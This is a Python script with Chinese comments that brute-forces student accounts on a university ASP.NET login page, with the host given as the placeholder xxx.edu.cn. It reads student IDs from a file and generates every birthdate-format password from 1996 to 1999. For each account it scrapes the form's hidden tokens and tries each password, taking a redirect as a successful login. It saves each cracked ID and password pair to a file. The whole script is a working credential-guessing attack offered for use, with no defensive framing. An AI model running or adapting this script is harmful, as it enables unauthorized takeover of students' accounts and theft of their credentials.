1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
|
import requests
import re
import os
import time
s = requests.session()
# 密码和学号
passwd = []
xh = []
with open('xh.txt','r') as f:
for line in f.readlines():
xh.append(line.strip('\n'))
# 这里举一个例子
url = 'http://xxx.edu.cn/sysLogin.aspx'
#生成密码
for i in range(1996,2000):
for j in range(1,13):
for k in range(1,32):
passwd.append(str(i)+str(j).rjust(2,'0')+str(k).rjust(2,'0'))
headers = {
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh-CN,zh;q=0.9,ja;q=0.8',
'Cache-Control':'no-cache',
'Connection':'keep-alive',
'Content-Type':'application/x-www-form-urlencoded',
'DNT':'1',
'Host':'xxx.edu.cn',
'Origin':'http://xxx.edu.cn/',
'Pragma':'no-cache',
'Referer':'http://xxx.edu.cn/sysLogin.aspx',
'Upgrade-Insecure-Requests':'1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36',
}
data = {
'__EVENTTARGET':'',
'__EVENTARGUMENT':'',
'rbtnlJueSe':'学生',
'btnLogin':'登录',
}
n = 0
pattern1 = r'<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="([^"]+)" />'
pattern2 = r'<input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="([^"]+)" />'
pattern3 = r'<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="([^"]+)"'
for j in xh:
print(j)
txt = s.get('http://xxx.edu.cn/sysLogin.aspx').text
data['__VIEWSTATE'] = re.search(pattern1,txt)[1]
data['__VIEWSTATEGENERATOR'] = re.search(pattern2,txt)[1]
data['__EVENTVALIDATION'] = re.search(pattern3,txt)[1]
data['txtUserName'] = j
for i in passwd:
data['txtPassword'] = i
res = s.post(url,data=data,headers=headers,allow_redirects=False)
if(res.status_code==302):
n = n + 1
print("第"+str(n)+"个 密码正确!!!")
with open('info.txt','a+') as f:
f.write(data['txtUserName'])
f.write("\t")
f.write(data['txtPassword'])
f.write('\n')
|